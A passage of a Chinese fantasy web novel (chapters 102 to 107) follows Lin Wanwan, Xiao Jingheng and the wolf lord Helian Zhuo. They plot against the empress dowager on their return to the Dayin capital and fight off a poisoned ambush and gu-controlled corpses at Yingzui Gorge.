赫连灼的眼神更是冰冷到了极致,周身散发着凛冽的杀意!
他猛地一掌拍在书案上!
坚硬的紫檀木桌面应声裂开一道缝隙。
“好一个大胤皇室!好一个太后!好一个萧胤!”
他的声音如同来自九州地狱,说出的每一个字,都如同淬着剧毒一般。
“此仇!不共戴天!本狼主一定要让他们血债血偿!”
书房的空气仿佛凝固了万年玄冰,到处充斥着滔天的恨意与即将爆发的毁灭风暴。
屋内,只有三人压抑到极致的怒火在无声地咆哮。
第102章 南归准备
书房内。
老侍官乌恩匍匐在地,身体因为激愤而微微颤抖。
他颤颤巍巍地补充道:
“狼主,老奴在清理物品的时候,还发现角落里残留着一些炼制失败的紫色晶石碎屑。”
“其气息阴冷邪异。而且,在那些碎屑旁的地面上,刻着一个反复描画的印记...”
他枯瘦的手指颤抖着,在桌案上虚画出一个扭曲如毒蛇纠缠般的符号。
这个符号怎么看起来怎么眼熟,总感觉似曾相识!
“林月瑶!”
萧景珩和林绾绾异口同声,二人的眼神瞬间都变得更加锐利。
他们想起来了!
它曾经出现在冷宫,出现在林月瑶在释放蛊虫时...
当时,她手中就反复描画过这个符号!
“林月瑶只是一个小喽啰,她背后那个一直没现身的蛊婆婆,才是真正的罪魁祸首!”
萧景珩指尖轻轻叩击着桌面。
“没错!当初赫连苍玄也提到过蛊婆婆,言语间对她十分信服和推崇。她能饲养出那么多蛊毒,实力不容小觑!”
林绾绾十分认同地应声道。
“她不仅能在北漠搅动风云,还参与了皇帝长生蛊的炼制!她才是串联起所有血腥阴谋的关键毒链!”
“看来,大胤之行,又多了一个必杀的目标。”
赫连灼的声音冰冷刺骨,杀意凝成实质。
他猛地转身,王袍带起风声。
“乌恩,立刻销毁此卷!今日所见所闻,若有半字泄露,诛全族!”
他的命令斩钉截铁,不留丝毫余地,目光扫过乌恩的每一个细微表情。
“老奴遵命!誓死守秘!”
乌恩浑身一颤,双手捧起羊皮卷,如同捧着烫手烙铁,踉跄着退了出去。
赫连灼锐利的目光一直追随着乌恩,直到沉重的书房门再次合拢,隔绝了外界的一切。
赫连灼深吸一口气,强行压下心头翻腾的杀意,目光扫过林绾绾和萧景珩:
“此卷虽邪,却是指路明灯!圣血骨胎源头在大胤,还有那金昙同心佩,是关键证物!”
“咱们大胤之行计划不变,目标却需要更明确:潜入慈宁宫秘库,找到同心佩;揪出蛊婆婆**;找到证据,揭露他们的阴谋!”
“没错,潜入慈宁宫秘库...”萧景珩沉声应和。
他的指尖精准地点在慈宁宫的位置,指腹微微用力,舆图上留下了一个极淡的印痕。
“秘库位置,历来是后宫绝密。太后生性多疑。若按照羊皮卷揭示,玉佩必然会被太后藏于秘库的核心位置,甚至可能...以邪法滋养,设下重重陷阱!”
他抬眸,深邃的黑眸看向林绾绾,眼神中带着询问。
“强攻是下下策,动静太大,且易损毁证物,或触发未知邪术。或许...可借太后的病?”
林绾绾心领神会。她压下自己翻腾的情绪,让自己进入最冷静的医者状态。
“上次在慈宁宫见过太后。我观她面容,年迈体衰,应是常年忧思郁结,肝火上亢。心脉淤堵之症想必也是由来已久。”
“肝火素旺,尤以春秋两季发病甚重。更关键的是...她对金昙花有深重心结,是近乎病态的忌讳。此乃心魔,亦是病灶之源。”
她走到书案旁,指尖轻轻沾了沾茶水,在光滑的桌面上快速勾勒出几条代表心脉与肝经的简易线条,动作流畅而精准。
“若能刺激其心结,诱其病症爆发,再以‘诊治’之名接近...想进到慈宁宫秘库未必没有机会!”
“刺激心结?”赫连灼挑眉,琥珀色的眼眸中精光闪烁。
“比如...让一朵品相绝佳的金丝昙花,恰到好处地出现在她眼前。”
林绾绾的声音带着一种掌控全局的自信。
“《天医策》中记载,以冰魄源晶粉末混合火棘花粉,可短暂激发特定人群的心悸旧疾,引发气逆、血脉偾张之症。”
她顿了顿,接着补充道:“这操作的关键,在于‘精准’与‘短暂’。”
“既要足以引发急症,让她不得不求医,又不能真的危及性命导致
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混乱或提前暴露。剂量、距离、时机,都要把握准确。差之毫厘,谬以千里。”
萧景珩眼中流露出毫不掩饰的赞赏。
“此计甚妙!攻心为上!”
“血鸦阁可安排一场‘意外’,让这朵‘金丝昙花’恰到好处地出现在太后面前...”
“届时,宫中太医针对太后病症束手无策,圣女以献药为名入宫,这就可以成为我们接近秘库的契机。”
说罢,他看向赫连灼,“此花制作需要绝对保密,材料方面...”
“冰魄源晶王庭秘库有存,火棘花粉亦非难寻。”
赫连灼眼中厉芒闪烁。
“我会亲自监督此花的制作,确保万无一失。”
他随即话锋一转,杀意再现:“至于那蛊婆婆...她既然在北漠掀起这么多腥风血雨,又参与炼制邪物,北漠王庭是不会放过她的!”
“我会动用所有潜伏在大胤的暗桩,启动最高级别的密令,全力追查她的踪迹。”
“一旦发现其行踪,无需请示,格杀勿论!我要她的脑袋,祭奠我北漠枉死的英灵!”
“好!”
萧景珩点头,继续补充道:“血鸦阁在大胤的地下网亦会全力配合。”
“但此人精通蛊毒,诡计多端,追捕时需格外小心。疑似目标出现时,最好是用**击杀,避免近身缠斗,以防她同归于尽的邪术。”
萧景珩明确了行动方向,让北漠暗卫与血鸦阁合力追逐时,确保不留后患。
大胤之行的计划核心在三人缜密的推演中敲定。
虽然气氛依旧凝重如铅,但目标是前所未有的清晰。
羊皮卷带来的黑暗真相,此刻化作了指向仇敌心脏的利箭。
赫连灼最后扫视两人,沉声道:
“事不宜迟,我即刻着手准备昙花所需材料。乌恩销毁卷轴后,我会亲自确认,确保不留痕迹。”
“萧公子,血鸦阁的行动也请务必隐秘,精准!”
“明白!”
萧景珩颔首,彼此眼中都是不容有失的坚决。
第103章 圣女归京
几日后,狼山脚下,圣湖之畔。
旌旗猎猎,号角长鸣。
北漠王庭的狼山卫披坚执锐,列成方阵。
肃杀之气直冲云霄。
无数北漠子民自发汇聚在道路两旁,目光崇敬地望向祭坛方向。
祭坛之上,赫连灼一身墨底金纹的狼主王袍,头戴狼首金冠,手持金刀,气势如渊。
在他身侧,林绾绾身着雪白圣洁的圣女华服,冰魄源晶雕琢的金昙花簪衬得她容貌清绝,气质出尘。
“以狼神之名!以圣湖为证!”
赫连灼声如洪钟,响彻四野。
“今日,为北漠边境和平,本狼主将亲率狼山卫护送圣女前往大胤和谈。”
“此行是为两国修好!但若有阻害圣女者,即是与北漠王庭为敌!”
“我狼山铁蹄,必踏平其巢穴!”
“誓死护卫圣女!”
数千狼山卫齐声怒喝,声浪如惊雷滚滚,震得大地微颤。
无数北漠子民随之高呼,狂热而虔诚的信仰之力如同无形的洪流,汹涌汇聚向祭坛上的身影。
林绾绾在万千子民的信仰中,感受到一股沉甸甸的责任与力量。
她微微侧首,目光与祭坛侧下方那道玄色身影交汇。
萧景珩站在那里,如同沉默的磐石,玄色劲装勾勒出他挺拔的身影。
为方便行事,他脸上带着面具。
面具遮住了大半容颜,只余下一双深邃的眼眸,正一瞬不瞬地凝视着林绾绾。
那目光中,有骄傲,有守护,有缱绻的深情...
林绾绾心中微暖,朝萧景珩几不可察地点了点头。
“起程!”赫连灼一声令下!
号角再次长鸣!
队伍缓缓开拔。
林绾绾登上由八匹骏马拉曳的华丽圣驾。
赫连灼翻身上了一匹黑色战马,行在圣驾左侧。
萧景珩则无声无息地策动另一匹骏马,紧贴在圣驾右侧。
玄衣与骏马的颜色几乎融为一体。
唯有那双锐利的眼眸,警惕地扫视着四周。
圣驾缓缓驶离祭坛,在狼山卫的簇拥下,向大胤方向迤逦而去。
身后,是北漠子民久久不息的欢呼与祈祷声浪。
北漠的朔风裹挟着砂砾,吹过连绵的狼山,也吹拂着去往大胤的车队。
队伍逐渐离开王庭范围,进入广袤的戈壁荒漠。
风沙渐起,天地间一片苍茫。
象征着北漠至高权柄的金昙王旗猎猎作响,由精悍的狼山卫护卫的华贵车驾碾过官道,直指向大胤京城。
车驾内,暖炉驱散了初春的寒意。
林绾绾闭目养神,实则心神沉入《天医策》浩瀚的医理之中,推演着如何利用冰火同源之力更精妙地刺激太后心脉旧疾,又不至于真的伤其性命。
车外,马蹄踏在砂石上的声音单调而规律。
萧景珩策马紧贴着车驾的车窗,目光警惕地扫视着空旷的四周。
赫连灼策马在前方不远处,与副将在低声商议着什么。
他的视线偶尔会扫过车驾,尤其是在萧景珩靠近车窗时,那琥珀色的眼眸深处,总会掠过一丝不易察觉的审视与属于雄性之间的较量。
萧景珩察觉到赫连灼的视线,似是想到什么,心中冷哼。
与绾绾有婚约?
那又如何!
那不过是上一代未完成的束缚!
绾绾是他的!
她的命,她的人,她的心,都只会属于他萧景珩一个人!
这个赫连灼!狼主又如何?
休想染指!
他故意策马更贴近车窗,玄色的衣袖几乎要拂到窗棂上,低沉的声音透过薄薄的车壁传入:
“绾绾,隔壁风沙大,关好车窗,莫要着凉。”
语气是外人从未听过的温和,带着亲昵。
车内,林绾绾挣开眼,有些无奈,又有些隐隐的甜蜜。
这男人...又在宣告**了。
林绾绾伸手将车窗的纱帘先是掀开一条缝隙,跟萧景珩对视一眼,给了他一个安抚般的眼神。
随后将纱帘放下,拢得更紧了一些,轻轻“嗯”了一声。
这细微的互动落在前方赫连灼眼中,他握着缰绳的手无意识地又收紧一下。
他猛地一夹马腹,黑色战马加速,瞬间与车驾拉开了数丈距离,背影显得冷硬孤绝。
萧景珩嘴角勾起属于胜利者的弧度。
虽然他的行动
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看起来有些幼稚,不符合他的身份。
但在关于绾绾的事情上,他萧景珩从不吝啬于展现他的占有欲。
入夜,队伍在一处背风的巨大岩石下扎营。
篝火噼啪作响,驱散戈壁夜间的寒意。
林绾绾走出车驾活动筋骨。
她换上一身便于行动的素白衣裙,长发松松挽起,少了几分圣女的圣洁庄严,多了几分清丽柔美。
她走向营地边缘,想看看戈壁的星空。
刚走出不远,一道高大的身影便如影随形地跟了上来。
“夜深风大,别走太远。”
萧景珩低沉的声音在林绾绾身后响起。
林绾绾回头,对上萧景珩的眼眸。
星光在萧景珩眼中跳跃,同时映出林绾绾清晰的倒影。
两人并肩站立在岩石的阴影下,一同仰望着璀璨星河。
戈壁的夜空格外澄澈。
银河如练,星子低垂,仿佛触手可及。
远离了王庭的喧嚣和阴谋的沉重,这一刻的宁静显得弥足珍贵。
“那羊皮卷...”
林绾绾的声音在寂静中显得有些轻飘,带着一丝脆弱。
“圣血骨胎...萧景珩,你的寒毒...会不会也...”
她的话没有说完,但萧景珩已然明白。
萧景珩伸出手,干燥而带着薄茧的手指,轻轻拂过林绾绾微凉的脸颊,动作带着珍视的力道。
他将林绾绾鬓边被风吹乱的发丝别到耳后。
指尖划过耳廓,给两人都带来一阵细微的战栗。
“别怕。”
萧景珩的声音低沉而笃定,带着一种能安定人心的力量。
“无论它是什么鬼东西,源头在哪里,有你在,还有《天医策》在手,它都奈何不了我。”
他顿了顿,目光灼灼地锁定住林绾绾,“况且,我们还有‘冰火同契’!”
最后四个字,萧景珩刻意压低了声音,带着一种近乎暧昧的暗示。
热气似有若无地拂过林绾绾的耳畔。
林绾绾的脸颊染上薄红,在星光下清晰可见。
她想起了温泉洞窟和圣殿里那冰火交融的疗伤...
心跳不由自主地加速。
第104章 玉佩疑云
大胤,皇宫。
紫宸殿内,龙涎香的气息也无法驱散那股沉沉的暮气。
皇帝萧胤靠坐在宽大的龙椅上。
眼睑下带着浓重的青黑,显得整个人异常疲惫。
但那双深陷的眼窝里,却燃烧着一种近乎病态的焦灼光芒。
下方,北漠密探正匍匐在地,向皇帝禀报。
“陛下,赫连灼已经在北漠正式加冕,成为新任狼主!并昭告天下,确认林氏女林绾绾为金昙王庭圣女,地位等同王储!”
“他们此刻正率狼山卫精锐,护送圣女归京。说是为两国修好,共襄繁荣盛举。”
“圣女?归京!”
萧胤猛地坐直身体,浑浊的眼睛里射出骇人的厉芒。
“赫连灼,林绾绾...好!好一个狼主!好一个圣女!好一个北漠王庭!竟敢欺朕!”
他胸口剧烈起伏,手指紧紧抓住龙椅扶手,几乎要将其捏碎。
难怪把那具“尸身”对长生蛊没有任何作用...
原来,那就是个“假货”!
愤怒!被愚弄的愤怒!
而更深的,是一种计划被打乱,秘密被窥探的巨大恐慌!
“陛下息怒啊!”高德胜在一旁劝慰道。
“北漠已经陈兵边境,赫连灼的信使不日也将到我大胤。若那圣女在我大胤境内有任何闪失,恐怕他们会血洗边关。”
“朝中已有大臣得到消息上书,言当以礼相待。将林府旧址修整为圣女别苑,迎圣女归京,以免...刀兵之祸...”
“以礼相待!迎她归京!”
萧胤抓起御案上的镇纸狠狠砸在地上。
玉石碎裂的声音在空旷的大殿内格外刺耳。
就在这时,殿外传来尖细的通禀:“启禀陛下,太后娘娘驾到。”
萧胤强压下心头翻腾的怒火,深吸一口气,勉强维持表面的平静:“请母后进来!”
厚重的殿门被推开,太后在一众宫人的簇拥下缓步而入。
她身着深紫色凤纹常服,发髻一丝不苟,面容虽保养得宜,却难掩脸上挥之不去的沉郁。
她手中拈着一串紫檀佛珠,目光扫过地上碎裂的玉石镇纸。
“皇帝何事如此动怒?”太后的声音不高,却带着沉沉的疏离。
萧胤挥挥手,密探退了出去。
殿内只剩下高德胜以及皇帝母子二人。
“母后...”萧胤的声音里满是压抑的怒火。
“林绾绾...那个‘荧惑妖星’她没死!还成了北漠圣女!北漠新狼主正带着她,打着两国修好的旗号,往京城方向来!”
太后捻动佛珠的手指一顿,浑浊的眼珠骤然收缩。
“她...她怎么敢回来?”
太后的声音陡然拔高,脸上的雍容被一种扭曲的怨毒取代。
“这个祸乱天下的妖女!皇帝!绝不能让她踏入京城!”
她剧烈的反应让萧胤微微一怔。
萧胤敏锐地捕捉到他的母后眼中那不同寻常、近乎失态的恐惧。
这恐惧...似乎不仅仅是因为林绾绾的身份...
“母后息怒。”
萧胤眼底闪过精光,语气放缓,带着试探。
“此女有北漠狼山卫护持,若是强行阻拦,恐生大变。朝臣们...也多有顾虑。”
“顾虑?他们懂什么?”
太后打断萧胤的话,佛珠被她攥得咯咯作响。
“此女是妖星,身负妖术,定是她迷惑了北漠狼主携大军压境。她这分明是包藏祸心!”
“她回来就是要颠覆我大胤江山的!”
“皇帝!你是一国之君,岂能受此胁迫?必须想办法,在她入京前,除掉她!”
太后的声音因为激动而微微颤抖,眼中是毫不掩饰的杀意。
不惜一切代价?
萧胤心中冷笑。
母后如此急切地想除掉林绾绾,恐怕不光是为了他的江山社稷吧?
有些秘密,似乎随着林绾绾的归来,将要破土而出了!
这让他感到一种被隐瞒,甚至可能将会被拖累的巨大愤怒和不安!
但眼下,林绾绾确实是心腹大患!
“母后教训的是。”萧胤垂下眼帘,掩去眸中的寒光。
“儿臣已有安排。鹰嘴峡...将是她的埋骨之地。只是...”
萧胤话锋一转,语气带上忧虑。
“此女狡诈,恐难一击必杀。不过,即便她入京,儿臣也自有后手。
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只是当年宸妃之事...还有那枚玉佩...儿臣总觉得,此女归来,恐与此有关。”
“母后可知,那玉佩是否...还留在宫中?”
“玉佩?!”
太后如同是被毒蛇咬了一口,脸色瞬间煞白。
她惊恐地看着萧胤,仿佛第一次认识这个儿子。
他怎么会突然问起玉佩?他知道了什么?
“什...什么玉佩?宸妃那****那么多年...哀家...哀家哪还记得什么玉佩!皇帝!你莫要听信谗言,当务之急是除掉那个妖女!”
太后语无伦次,眼神闪烁,手指死死掐着佛珠,指节泛白。
萧胤看着她如此失态的反应,心中最后一点疑虑也烟消云散。
果然!
那半枚玉佩就在太后手里!
太后果然还藏着大秘密!
这秘密,甚至让平淡如菊的她恐惧至此!
一股被长久欺骗的暴怒和**感冲上头顶。
萧胤强行压下这股感觉,脸上反而露出安抚的笑容。
“母后说的是。玉佩之事,不提也罢。儿臣定会妥善处理林绾绾,母后安心在慈宁宫休养便是。”
萧胤眼底的冰寒,比任何时候都要深。
朕的好母后...你藏得好深!
那玉佩,朕迟早要拿到手!
至于林绾绾...
鹰嘴峡的伏兵,只是开胃菜。
她若能活着入京...
为她准备的‘厚礼’,将会一一揭晓。
太后面色惊惶不定,看着萧胤看似恭顺实则深不可测的眼神,心底那股寒意更重。
她又胡乱敷衍了几句,便匆匆离去。
看着太后仓皇离去的背影,萧胤脸上虚伪的笑容瞬间消失,只剩下无尽的阴鸷。
他沉默片刻,对着高德胜冷冷开口:
“告诉王相,他家大女儿盛宠优渥,不日将会成为贵妃。他家的二女儿,也是时候为君分忧了。太子沉疴已久,朕要他的女儿,在太子选妃一事上,拿出‘真本事’来。”
“是,奴才这就去传话。”高德胜领命退下。
萧胤走到巨大的雕花窗前,望向北方阴沉的天空。
要变天了...
第105章 峡谷定策
营地中,星光下。
萧景珩看着林绾绾脸上飞起的红霞,心底因羊皮卷带来的阴霾也被驱散了些许。
他长臂一伸,极其自然地将林绾绾揽入怀中。
萧景珩的胸膛宽厚而温暖,带着专属于他的气息,瞬间将林绾绾包裹。
“萧景珩!你...”
林绾绾身体微僵,下意识地想要挣脱。
营地篝火就在不远处,巡逻士兵的脚步声清晰可闻,随时可能有人经过。
“别动。”
萧景珩收紧手臂,下巴轻轻抵着林绾绾的发顶。
温热的呼吸拂过她的发丝,声音里带着白日未曾显露的疲惫的沙哑,语气却异常霸道。
“让我抱一会儿。北漠风沙太大,吹得人头疼。”
明明是拙劣的借口,却因他语气中流露出的依赖感,击中了林绾绾心底最柔软的部分。
她不再挣扎,紧绷的身体缓缓放松下来,安静地靠在萧景珩的怀里。
听着男人沉稳有力的心跳,感受着戈壁寒夜里独属于她的温暖与安全。
星辉洒落,将两人相拥的身影拉长,投在冰冷的岩石上,仿佛一幅永恒静谧的剪影。
营地另一头,赫连灼独自坐在一堆篝火旁。
琥珀色的眸子映着跳动的火焰,眸色却深不见底。
他手中拿着一块干硬的肉干,有一搭没一搭地撕咬着,目光却不由自主地投向岩石阴影下那对几乎融为一体的身影。
他们之间距离有些远,听不清在说些什么。
但那亲昵依偎的姿态,却像一根细小的刺,扎在他心头某个自己都未曾深究的角落。
赫连灼猛地灌了一口烈酒。
辛辣的液体灼烧着喉咙,却压不下心头那莫名的烦躁。
婚约...
他从未真正在意过。
可为何看到林绾绾在另一个男人怀中露出那种全然放松,甚至带着娇羞的姿态时,他会感到如此...不快?
他烦躁地捏碎了手中的肉干,碎屑簌簌落下。
就在这时,他派去前方探路的斥候快马奔回,神色凝重地在他耳边低语了几句。
赫连灼眼神瞬间一厉!
方才那点莫名的情绪瞬间被肃杀取代。
他豁然起身,大步流星地走向岩石阴影处。
“圣女,萧公子!有情况!”
此刻他的声音带着战场磨砺出的冷硬。
“前方五十里,鹰嘴峡附近,发现小股不明身份的‘马匪’活动痕迹。”
“人数约三十,行踪诡秘,不像是普通**。看其马蹄印和营地残留的灰烬,倒像是受过严格训练的...军人。”
萧景珩闻言,立刻松开了林绾绾,周身温和的气息瞬间收敛,化为冷冽的警觉。
他黑眸微眯,“军人?伪装成马匪?看来...有人不想让我们顺利抵达京城。”
林绾绾也从旖旎的氛围中抽离,眼神恢复清明锐利。
“能确定是哪方的人吗?皇帝?还是隐藏在深处的毒蛇?”
“痕迹很干净,难以立刻判断。”
赫连灼摇头,目光扫过前方黑暗的戈壁,“但无论哪一方,都是来者不善。”
“鹰嘴峡地势险要,但却是我们的必经之路,也是绝佳的伏击地点!”
“那我们是否可以加速通过?”林绾绾询问。
“不行!”萧景珩和赫连灼几乎是异口同声。
“加速反而显得我们心虚,会暴露我们已知晓有伏击,可能会迫使对方提前发动或改变策略。若我们应对不及时,战队力量容易溃散,更容易让他们抓住破绽。”
“还有,峡谷狭窄,一旦对方使用强弓硬**齐发,我们首尾难顾,极易成为活靶子。这样损失会更惨重!”
萧景珩冷静分析。
“峡谷位置狭窄...既然他们想伏击,布置好口袋等我们钻...我们不如将计就计,反客为主!”
赫连灼眼中闪过赞同,带着狼主的狠戾与自信:“不错!狼山卫也不是吃素的!正好用这些不知死活的探路石,来磨一磨本狼主的刀锋!”
“让他们尝尝什么才是真正的戈壁猎杀!”
两人目光在空中短暂交汇,方才那点无形的较量被更强大的共同危机压下,瞬间达成了默契。
“圣女车驾目标太大
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,肯定是对方首要攻击目标,需做调整。”赫连灼看向林绾绾,思路清晰。
“请圣女委屈一下,换上普通护卫服,混入狼山卫中。车驾内,由我找个替身坐镇,引蛇出洞!”
“好!”林绾绾毫不犹豫地点头,“我随身携带着应急药品,必要时,可以支援救治!”
“血鸦阁的暗卫,会提前秘密潜行在队伍中,对峡谷两侧高点策应,清除或压制对方可能出现的远程弓**手。”
萧景珩补充道,语气带着绝对的掌控,“而我,会贴身护卫绾绾,寸步不离。”
“贴身”二字,他咬得极重,目光扫过赫连灼,带着宣告。
赫连灼眉头微不可察地蹙了一下,最终只是冷哼一声。
“圣女安全,至关重要!萧公子,务必护好她!若有一丝闪失...”
未尽之意,是来自狼主的威胁。
“不劳狼主费心。”
萧景珩语气淡漠,却带着千钧之力,
“她的命,我看得比自己的命还重要!”
林绾绾闻言心头一震,抬眸看向萧景珩冷峻的侧脸。
火光在他深邃的轮廓上跳跃。
那句话被他说得如此平静,对林绾绾而言却重逾千斤。
计划迅速布置下去。
营地瞬间进入临战状态。
篝火被迅速熄灭了大半,只留下必要的照明。
林绾绾火速换上了一套合身的狼山卫皮甲,将长发紧紧束在头盔内,脸上也涂抹了些尘土。
萧景珩同样换上一套不起眼的狼山卫装束,掩盖住挺拔的身形和通身冷冽的气场。
他寸步不离地跟在林绾绾身侧,如同最忠诚的影子。
林绾绾的替身则坐进了那辆华丽的车驾中,放下了厚重的帘幕,遮挡住外部的视线。
队伍再次起程。
速度虽并未加快,但却增添了许多警惕和凝重。
黑暗的戈壁如同巨兽,只有马蹄声和车轮碾过砂石的声响,在寂静中格外清晰。
鹰嘴峡巨大的轮廓,在黎明前最深的黑暗中渐渐显露,如同巨兽张开了狰狞的大口。
战斗,一触即发!
第106章 归京险象
鹰嘴峡。
两侧峭壁如刀削斧凿一般,直插云霄。
只余下中间一道狭窄的通道,如同巨兽咽喉。
天色微明,光线晦暗。
峡谷内弥漫着未散的晨雾,更添几分阴森诡谲。
圣女的车驾队伍缓缓驶入峡谷,车轮声在峭壁间回荡,更显得峡谷格外空旷。
“林绾绾”端坐在华丽的车驾之中。
厚重的帘幕低垂,遮挡了所有可窥探的视线。
赫连灼也做了简单易容,穿着普通护卫的皮甲,骑马行在队伍中段,目光锐利得扫视着两侧峭壁。
林绾绾和萧景珩并骑走在队伍靠前的位置,两人都穿着狼山卫的装束,脸上带着风尘,看起来毫不起眼。
萧景珩高大的身躯几乎将林绾绾遮挡住大半。
他的右手看似随意搭在腰间佩刀的刀鞘上,实则全身肌肉紧绷,如同蓄势待发的猎豹。
精神力高度集中,感应着周遭最细微的动静。
在他周围看似普通的护卫中,混杂着数名眼神沉静,气息内敛的士兵。
这些士兵,姿态放松,甚至有人还在低声交谈。
但他们的手指从未离开过腰间的佩剑或藏在袖中的机扩,眼神余光始终锁定着预判中的危险区域。
峡谷内静得可怕。
只有马蹄踏在碎石上的哒哒声和车轮碾过的辘辘声,在逼仄的空间里被无限放大,形成一种令人窒息的压迫感。
这过分的寂静,本身就是最大的警兆!
当队伍完全陷入峡谷最狭窄的要道时——
“咻咻咻——!”
刺耳的破空声骤然撕裂了死寂。
无数淬着幽蓝光芒的箭矢,如同骤然爆发的毒蜂群,从两侧峭壁的嶙峋怪石后、茂密的藤蔓遮掩下暴射而出。
尖锐的箭啸汇聚成一片死亡的嗡鸣,精准地锁定队伍中央那辆华丽的车驾。
“敌袭!护驾!”
替身在车内厉声高喝,声音带着恰到好处的惊怒。
“结阵!盾墙!”
狼山卫中一位面容刚毅的中年将领,反应快如奔雷,怒吼声响彻峡谷,瞬间盖过箭啸。
训练有素的狼山卫展现出北漠军人的素养。
几乎在统领声音落下刹那,外围的战士已经如同演练过千百遍般,迅速举起手中厚重的包铁圆盾。
盾牌边缘紧密咬合,发出沉闷的撞击声。
一道坚固的、边缘闪烁着金属冷光的环形盾墙拔地而起,将核心的车驾和部分人员护在其中。
“叮叮当当!噗嗤!”
密集的箭雨凶狠地撞击在盾牌上,发出暴雨打铁皮般的刺耳爆响。
大部分箭矢被坚盾弹开、折断,但仍有少数刁钻狠辣的箭矢,穿透了盾牌间微小的缝隙。
惨叫声和马匹痛苦的嘶鸣瞬间响起。
被射中的战士,伤口处迅速泛起诡异的青紫色,肌肉则以肉眼可见的速度坏死。
中箭的马匹更是口吐白沫,轰然倒地。
箭矢上竟然淬着见血封喉的剧毒!
“是**!大家小心格挡!”
伪装成侍卫的赫连灼厉声提醒,声音沉稳有力,同时手中的弯刀化作一道银亮的弧光。
“锵锵”两声,精准地劈飞两支射向他面门的**,动作干净利落。
在箭雨稍歇的瞬间,盾墙内侧未被箭矢直接威胁的狼山卫战士,无需任何命令,默契地从盾牌缝隙中探出**。
“放!”一声短促的命令响起。
“嘣嘣嘣!”
数十支劲**激射而出,带着复仇的怒火,狠狠扎向峭壁上刚刚暴露出的箭手的位置。
几声短促的惨叫传来,几道身影从高处栽落,伏击者的第一波攻势被有效遏制。
此时,峭壁两侧人影晃动。
数十名身着黑褐色、面覆黑巾的“马匪”,借助绳索和峭壁的凸起,飞速滑降而下。
他们动作迅捷无声,眼中闪烁着训练有素的冰冷的杀意。
落地后他们毫不停顿,挥舞着淬毒的武器,悍然扑向狼山卫稳固的盾墙阵型。
金铁交鸣声、怒吼声、惨嚎声...
在狭窄的峡谷内激烈碰撞、回荡。
浓郁的血腥味混合着尘土和**的腥甜,在四周弥漫开来,令人作呕。
“目标
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是车驾!杀进去!”
一名看似头领的蒙面**声喝道,带着几名精锐好手,毫不畏死地朝着被重重盾牌保护的车驾猛冲。
刀光闪烁,毒刃刁钻,试图撕开防线。
面对凶悍的冲击,狼山卫的盾墙并未一味死守。
狼山卫统领眼神一厉:“散!绞杀!”
外围的盾牌手闻令,猛地向两侧一分,如同巨兽张开了利口。
内圈蓄势待发的**手如**出洞,枪尖带着刺耳的破风声,齐刷刷地刺出。
“噗噗噗!”
冲在最前面的几个蒙面“马匪”,猝不及防之下,瞬间被数支**洞穿胸膛、咽喉!
尸体被高高挑起,又重重甩飞出去,撞倒后面的人。
盾墙开合之间,瞬间变成一个绞肉机。
狼山卫的阵型转换流畅,令人心惊。
就在这混乱的厮杀中,谁也没有注意到,几道如同鬼魅般的黑影,悄无声息地贴着峭壁的阴影,如同壁虎般游走。
他们的动作轻盈诡异,气息收敛到极致。
目标并非混乱的战斗核心,而是直扑向队伍靠前位置——
那个被高大护卫隐隐护在身后,看起来身形瘦弱的“狼山卫”!
“小心!”萧景珩的感知何其敏锐。
在黑影暴起、杀机如冰锥刺骨的瞬间,他便已锁定危险!
他甚至没有回头,猛地一勒缰绳,胯下战马长嘶一声,人立而起。
同时,左手闪电般探出,一把将身侧林绾绾纤细的腰肢揽住,以强大的力量将她从马背上扯入自己怀中。
动作迅猛如电,充满了保护的姿态!
“嗤嗤嗤!”
几乎在林绾绾离开马鞍的同一刹那,数道乌黑的且带着刺鼻腥臭的飞镖,精准地射向林绾绾刚刚所在的位置。
马匹颈部中镖,发出凄厉的惨嘶,庞大的身躯剧烈抽搐,轰然倒地,口鼻瞬间涌出黑血。
若非萧景珩反应快如鬼魅,林绾绾此刻已然香消玉殒!
“找死!”
萧景珩眼中杀意如同实质般暴涌。
凛冽的煞气以他为中心迅速扩散!
第107章 大获全胜
萧景珩右手长剑出鞘。
剑影,像是一轮在初冬升起,带着绝对冰冷的寒月!
剑锋划破长空,发出尖锐的嘶鸣,冰寒的劲气如同潮水般席卷而出。
冲在最前面的两个偷袭者,脸上的狞笑甚至还未凝固,身体尚在半空扑击的姿势,便被凌厉无匹的剑气瞬间扫过。
没有惨叫,只有令人牙酸的骨骼断裂声。
两人身体诡异地断成两截,断口出覆盖着厚厚的白霜,内脏和鲜血尚未喷涌就被冻结。
剩下的几个偷袭者显然没料到目标身边的护卫恐怖如斯,眼中露出骇然与难以置信。
前冲的势头硬生生顿住。
“保护圣女!”
赫连灼也第一时间发现了这针对林绾绾的致命偷袭,怒吼声中充满了真正的暴怒。
他手中弯刀卷起一片狂暴的雪亮刀轮,将两个拦路的“马匪”瞬间绞离战场。
然后,带着几名同样凶悍的亲卫,如同猛虎下山,悍然冲杀过来,试图支援萧景珩。
就在狼山卫与“马匪”激战正酣的瞬间,异变再生!
峡谷入口方向,正与外围战士缠斗的“马匪”中,一道毫不起眼的、穿着灰色袍子的佝偻身影猛地抬起了手。
他手中并非刀剑,而是一个造型奇特,如同某种兽骨制成的短哨!
“呜嗷——!”
一声尖锐,带着诡异扭曲波动的哨音响起。
这哨音不是传入耳中,而是直接刺入人的脑海深处。
不少正在厮杀的狼山卫战士动作猛地一僵,脸上露出痛苦迷茫之色,仿佛灵魂被无形的针狠狠刺中。
连一些“马匪”也受到了影响,攻势为之一缓。
更诡异骇人的是,随着这刺激灵魂的哨音响起,峡谷两侧峭壁的阴影处,一些枯死的藤蔓堆,乱石缝隙,甚至浅浅的土坑里,传来让人头皮发麻的“窸窸窣窣”的声音!
紧接着,数十道动作僵硬、关节扭曲、皮肤呈现出死尸般青紫色泽的“人影”,如同被无形丝线操控的木偶,摇摇晃晃地站了起来。
他们眼睛空洞无神,眼中只有两点不似人类的幽绿光芒,口中发出意义不明的“嗬...嗬...”声。
他们指甲乌黑尖锐,身上散发出腐臭和蛊虫特有的甜腻腥气。
他们手脚并用,速度惊人,直接扑向混战的地方。
血腥味,似乎让他们格外兴奋!
萧景珩将林绾绾护在怀中,看着这些来历不明的怪物,手中长剑握得更紧。
看来鹰嘴峡的伏杀,远比他们预想的更凶险,更恶毒百倍!
就在这些怪物出现,哨音扰魂,狼山卫受到短暂阻碍的刹那,一直混迹在普通护卫中的那几名血鸦卫动了!
他们的动作快得超越了视觉的捕捉,没有多余的话语,只有冰冷到极致的杀意!
一名血鸦卫抬手,袖中一道乌光激射而出,射向空中。
